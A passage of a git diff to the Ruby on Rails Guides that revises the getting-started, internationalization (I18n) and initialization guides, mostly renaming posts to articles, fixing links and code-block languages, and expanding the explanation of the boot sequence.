-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
def index
- @posts = Post.all
+ @articles = Article.all
end
# snipped for brevity
```
-We also only want to allow authenticated users to delete comments, so in the
+We also want to allow only authenticated users to delete comments, so in the
`CommentsController` (`app/controllers/comments_controller.rb`) we write:
```ruby
@@ -1604,17 +2002,32 @@ class CommentsController < ApplicationController
http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
def create
- @post = Post.find(params[:post_id])
- ...
+ @article = Article.find(params[:article_id])
+ # ...
end
+
# snipped for brevity
```
-Now if you try to create a new post, you will be greeted with a basic HTTP
+Now if you try to create a new article, you will be greeted with a basic HTTP
Authentication challenge
![Basic HTTP Authentication Challenge](images/getting_started/challenge.png)
+Other authentication methods are available for Rails applications. Two popular
+authentication add-ons for Rails are the
+[Devise](https://github.com/plataformatec/devise) rails engine and
+the [Authlogic](https://github.com/binarylogic/authlogic) gem,
+along with a number of others.
+
+
+### Other Security Considerations
+
+Security, especially in web applications, is a broad and detailed area. Security
+in your Rails application is covered in more depth in
+The [Ruby on Rails Security Guide](security.html)
+
+
What's Next?
------------
@@ -1628,12 +2041,19 @@ free to consult these support resources:
* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
-Rails also comes with built-in help that you can generate using the rake command-line utility:
+Rails also comes with built-in help that you can generate using the rake
+command-line utility:
-* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides.
-* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation.
+* Running `rake doc:guides` will put a full copy of the Rails Guides in the
+ `doc/guides` folder of your application. Open `doc/guides/index.html` in your
+ web browser to explore the Guides.
+* Running `rake doc:rails` will put a full copy of the API documentation for
+ Rails in the `doc/api` folder of your application. Open `doc/api/index.html`
+ in your web browser to explore the API documentation.
-TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake task you need to install the RedCloth gem. Add it to your `Gemfile` and run `bundle install` and you're ready to go.
+TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake
+task you need to install the RedCloth gem. Add it to your `Gemfile` and run
+`bundle install` and you're ready to go.
Configuration Gotchas
---------------------
@@ -1653,15 +2073,16 @@ cannot be automatically detected by Rails and corrected.
Two very common sources of data that are not UTF-8:
-* Your text editor: Most text editors (such as TextMate), default to saving files as
- UTF-8. If your text editor does not, this can result in special characters that you
- enter in your templates (such as é) to appear as a diamond with a question mark inside
- in the browser. This also applies to your i18n translation files.
- Most editors that do not already default to UTF-8 (such as some versions of
- Dreamweaver) offer a way to change the default to UTF-8. Do so.
-* Your database: Rails defaults to converting data from your database into UTF-8 at
- the boundary. However, if your database is not using UTF-8 internally, it may not
- be able to store all characters that your users enter. For instance, if your database
- is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
- character, the data will be lost forever once it enters the database. If possible,
- use UTF-8 as the internal storage of your database.
+* Your text editor: Most text editors (such as TextMate), default to saving
+ files as UTF-8. If your text editor does not, this can result in special
+ characters that you enter in your templates (such as é) to appear as a diamond
+ with a question mark inside in the browser. This also applies to your i18n
+ translation files. Most editors that do not already default to UTF-8 (such as
+ some versions of Dreamweaver) offer a way to change the default to UTF-8. Do
+ so.
+* Your database: Rails defaults to converting data from your database into UTF-8
+ at the boundary. However, if your database is not using UTF-8 internally, it
+ may not be able to store all characters that your users enter. For instance,
+ if your database is using Latin-1 internally, and your user enters a Russian,
+ Hebrew, or Japanese character, the data will be lost forever once it enters
+ the database. If possible, use UTF-8 as the internal storage of your database.
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
index 062da3877b..c1b575c7b7 100644
--- a/guides/source/i18n.md
+++ b/guides/source/i18n.md
@@ -13,17 +13,22 @@ So, in the process of _internationalizing_ your Rails application you have to:
In the process of _localizing_ your application you'll probably want to do the following three things:
-* Replace or supplement Rails' default locale — e.g. date and time formats, month names, Active Record model names, etc.
-* Abstract strings in your application into keyed dictionaries — e.g. flash messages, static text in your views, etc.
+* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc.
+* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc.
* Store the resulting dictionaries somewhere.
This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
After reading this guide, you will know:
+* How I18n works in Ruby on Rails
+* How to correctly use I18n into a RESTful application in various ways
+* How to use I18n to translate ActiveRecord errors or ActionMailer E-mail subjects
+* Some other tools to go further with the translation process of your application
+
--------------------------------------------------------------------------------
-NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information.
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Ruby [I18n Wiki](http://ruby-i18n.org/wiki) for more information.
How I18n in Ruby on Rails Works
-------------------------------
@@ -33,13 +38,13 @@ Internationalization is a complex problem. Natural languages differ in so many w
* providing support for English and similar languages out of the box
* making it easy to customize and extend everything for other languages
-As part of this solution, **every static string in the Rails framework** — e.g. Active Record validation messages, time and date formats — **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
+As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
### The Overall Architecture of the Library
Thus, the Ruby I18n gem is split into two parts:
-* The public API of the i18n framework — a Ruby module with public methods that define how the library works
+* The public API of the i18n framework - a Ruby module with public methods that define how the library works
* A default backend (which is intentionally named _Simple_ backend) that implements these methods
As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
@@ -87,16 +92,16 @@ Rails adds all `.rb` and `.yml` files from the `config/locales` directory to you
The default `en.yml` locale in this directory contains a sample pair of translation strings:
-```ruby
+```yaml
en:
hello: "Hello world"
```
-This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
-NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it.
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/globalize/globalize) may help you implement it.
The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
@@ -132,7 +137,7 @@ If you want to translate your Rails application to a **single language other tha
However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.
-WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
+WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this:
@@ -174,7 +179,7 @@ end
# in your /etc/hosts file to try this out locally
def extract_locale_from_tld
parsed_locale = request.host.split('.').last
- I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+ I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end
```
@@ -187,7 +192,7 @@ We can also set the locale from the _subdomain_ in a very similar way:
# in your /etc/hosts file to try this out locally
def extract_locale_from_subdomain
parsed_locale = request.subdomains.first
- I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+ I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end
```
@@ -207,17 +212,16 @@ The most usual way of setting (and passing) the locale would be to include it in
This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
-Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(locale: I18n.locale))`) would be tedious and probably impossible, of course.
+Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course.
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding this method).
We can include something like this in our `ApplicationController` then:
```ruby
# app/controllers/application_controller.rb
-def default_url_options(options={})
- logger.debug "default_url_options is passed options: #{options.inspect}\n"
- { locale: I18n.locale }
+def default_url_options(options = {})
+ { locale: I18n.locale }.merge options
end
```
@@ -253,7 +257,7 @@ You would probably need to map URLs like these:
```ruby
# config/routes.rb
-match '/:locale' => 'dashboard#index'
+get '/:locale' => 'dashboard#index'
```
Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
@@ -262,7 +266,7 @@ NOTE: Have a look at two plugins which simplify work with routes in this way: Sv
### Setting the Locale from the Client Supplied Information
-In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — see the box about _sessions_, _cookies_ and RESTful architecture above.
+In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites - see the box about _sessions_, _cookies_ and RESTful architecture above.
#### Using `Accept-Language`
@@ -277,21 +281,22 @@ def set_locale
I18n.locale = extract_locale_from_accept_language_header
logger.debug "* Locale set to '#{I18n.locale}'"
end
+
private
-def extract_locale_from_accept_language_header
- request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
-end
+ def extract_locale_from_accept_language_header
+ request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+ end
```
Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
#### Using GeoIP (or Similar) Database
-Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above — you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above - you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
#### User Profile
-You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
+You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above - you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
Internationalizing your Application
-----------------------------------
@@ -304,12 +309,23 @@ You most probably have something like this in one of your applications:
```ruby
# config/routes.rb
-Yourapp::Application.routes.draw do
+Rails.application.routes.draw do
root to: "home#index"
end
```
```ruby
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+ before_action :set_locale
+
+ def set_locale
+ I18n.locale = params[:locale] || I18n.default_locale
+ end
+end
+```
+
+```ruby
# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
@@ -353,7 +369,7 @@ NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do
So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
-```ruby
+```yaml
# config/locales/en.yml
en:
hello_world: Hello world!
@@ -394,7 +410,7 @@ en:
### Adding Date/Time Formats
-OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option — by default the `:default` format is used.
+OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used.
```erb
# app/views/home/index.html.erb
@@ -405,7 +421,7 @@ OK! Now let's add a timestamp to the view, so we can demo the **date/time locali
And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
-```ruby
+```yaml
# config/locales/pirate.yml
pirate:
time:
@@ -475,12 +491,14 @@ Overview of the I18n API Features
You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
+These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method).
+
Covered are features like these:
* looking up translations
* interpolating data into translations
* pluralizing translations
-* using safe HTML translations
+* using safe HTML translations (view helper method only)
* localizing dates, numbers, currency, etc.
### Looking up Translations
@@ -494,7 +512,7 @@ I18n.t :message
I18n.t 'message'
```
-The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
+The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:
```ruby
I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
@@ -568,6 +586,8 @@ you can look up the `books.index.title` value **inside** `app/views/books/index.
<%= t '.title' %>
```
+NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method.
+
### Interpolation
In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.
@@ -637,7 +657,7 @@ I18n.default_locale = :de
### Using Safe HTML Translations
-Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.
```yaml
# config/locales/en.yml
@@ -656,56 +676,9 @@ en:
<div><%= t('title.html') %></div>
```
-![i18n demo html safe](images/i18n/demo_html_safe.png)
-
-How to Store your Custom Translations
--------------------------------------
-
-The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
-
-For example a Ruby Hash providing translations can look like this:
+NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method.
-```ruby
-{
- pt: {
- foo: {
- bar: "baz"
- }
- }
-}
-```
-
-The equivalent YAML file would look like this:
-
-```ruby
-pt:
- foo:
- bar: baz
-```
-
-As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
-
-Here is a "real" example from the Active Support `en.yml` translations YAML file:
-
-```ruby
-en:
- date:
- formats:
- default: "%Y-%m-%d"
- short: "%b %d"
- long: "%B %d, %Y"
-```
-
-So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
-
-```ruby
-I18n.t 'date.formats.short'
-I18n.t 'formats.short', scope: :date
-I18n.t :short, scope: 'date.formats'
-I18n.t :short, scope: [:date, :formats]
-```
-
-Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+![i18n demo html safe](images/i18n/demo_html_safe.png)
### Translations for Active Record Models
@@ -713,7 +686,7 @@ You can use the methods `Model.model_name.human` and `Model.human_attribute_name
For example when you add the following translations:
-```ruby
+```yaml
en:
activerecord:
models:
@@ -726,6 +699,19 @@ en:
Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
+You can also set a plural form for model names, adding as following:
+
+```yaml
+en:
+ activerecord:
+ models:
+ user:
+ one: Dude
+ other: Dudes
+```
+
+Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude".
+
#### Error Message Scopes
Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
@@ -788,7 +774,7 @@ This way you can provide special translations for various error messages at diff
The translated model name, translated attribute name, and value are always available for interpolation.
-So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
* `count`, where available, can be used for pluralization if present:
@@ -797,6 +783,7 @@ So, for example, instead of the default error message `"can not be blank"` you c
| confirmation | - | :confirmation | - |
| acceptance | - | :accepted | - |
| presence | - | :blank | - |
+| absence | - | :present | - |
| length | :within, :in | :too_short | count |
| length | :within, :in | :too_long | count |
| length | :is | :wrong_length | count |
@@ -813,6 +800,7 @@ So, for example, instead of the default error message `"can not be blank"` you c
| numericality | :equal_to | :equal_to | count |
| numericality | :less_than | :less_than | count |
| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count |
+| numericality | :only_integer | :not_an_integer | - |
| numericality | :odd | :odd | - |
| numericality | :even | :even | - |
@@ -865,15 +853,15 @@ Rails uses fixed strings and other localizations, such as format strings and oth
#### Action View Helper Methods
-* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L51) translations.
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations.
-* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L83) scope if applicable.
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable.
-* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L2) scope.
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope.
#### Active Model Methods
-* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
@@ -881,14 +869,63 @@ Rails uses fixed strings and other localizations, such as format strings and oth
#### Active Support Methods
-* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope.
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope.
+
+How to Store your Custom Translations
+-------------------------------------
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
+
+For example a Ruby Hash providing translations can look like this:
+
+```yaml
+{
+ pt: {
+ foo: {
+ bar: "baz"
+ }
+ }
+}
+```
+
+The equivalent YAML file would look like this:
+
+```yaml
+pt:
+ foo:
+ bar: baz
+```
+
+As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
+
+Here is a "real" example from the Active Support `en.yml` translations YAML file:
+
+```yaml
+en:
+ date:
+ formats:
+ default: "%Y-%m-%d"
+ short: "%b %d"
+ long: "%B %d, %Y"
+```
+
+So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+
+```ruby
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+```
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
Customize your I18n Setup
-------------------------
### Using Different Backends
-For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.
That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
@@ -915,7 +952,7 @@ ReservedInterpolationKey # the translation contains a reserved interpolation
UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
```
-The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope.
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope.
The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
@@ -998,7 +1035,7 @@ If you found this guide useful, please consider recommending its authors on [wor
Footnotes
---------
-[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
index a8e4525c67..57c224c165 100644
--- a/guides/source/index.html.erb
+++ b/guides/source/index.html.erb
@@ -19,7 +19,7 @@ Ruby on Rails Guides
<h3><%= section['name'] %></h3>
<dl>
<% section['documents'].each do |document| %>
- <%= guide(document['name'], document['url'], :work_in_progress => document['work_in_progress']) do %>
+ <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %>
<p><%= document['description'] %></p>
<% end %>
<% end %>
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
index 738591659d..00b2761716 100644
--- a/guides/source/initialization.md
+++ b/guides/source/initialization.md
@@ -7,14 +7,17 @@ as of Rails 4. It is an extremely in-depth guide and recommended for advanced Ra
After reading this guide, you will know:
* How to use `rails server`.
+* The timeline of Rails' initialization sequence.
+* Where different files are required by the boot sequence.
+* How the Rails::Server interface is defined and used.
--------------------------------------------------------------------------------
This guide goes through every method call that is
required to boot up the Ruby on Rails stack for a default Rails 4
application, explaining each part in detail along the way. For this
-guide, we will be focusing on what happens when you execute +rails
-server+ to boot your app.
+guide, we will be focusing on what happens when you execute `rails server`
+to boot your app.
NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
@@ -26,9 +29,42 @@ quickly.
Launch!
-------
-Now we finally boot and initialize the app. It all starts with your app's
-`bin/rails` executable. A Rails application is usually started by running
-`rails console` or `rails server`.
+Let's start to boot and initialize the app. A Rails application is usually
+started by running `rails console` or `rails server`.
+
+### `railties/bin/rails`
+
+The `rails` in the command `rails server` is a ruby executable in your load
+path. This executable contains the following lines:
+
+```ruby
+version = ">= 0"
+load Gem.bin_path('railties', 'rails', version)
+```
+
+If you try out this command in a Rails console, you would see that this loads
+`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the
+following code:
+
+```ruby
+require "rails/cli"
+```
+
+The file `railties/lib/rails/cli` in turn calls
+`Rails::AppRailsLoader.exec_app_rails`.
+
+### `railties/lib/rails/app_rails_loader.rb`
+
+The primary goal of the function `exec_app_rails` is to execute your app's
+`bin/rails`. If the current directory does not have a `bin/rails`, it will
+navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a
+`rails` command from anywhere inside a rails application.
+
+For `rails server` the equivalent of the following command is executed:
+
+```bash
+$ exec ruby bin/rails server
+```
### `bin/rails`
@@ -37,7 +73,7 @@ This file is as follows:
```ruby
#!/usr/bin/env ruby
APP_PATH = File.expand_path('../../config/application', __FILE__)
-require File.expand_path('../../config/boot', __FILE__)
+require_relative '../config/boot'
require 'rails/commands'
```
@@ -51,13 +87,14 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
```
In a standard Rails application, there's a `Gemfile` which declares all
dependencies of the application. `config/boot.rb` sets
`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
-exists, `bundler/setup` is then required.
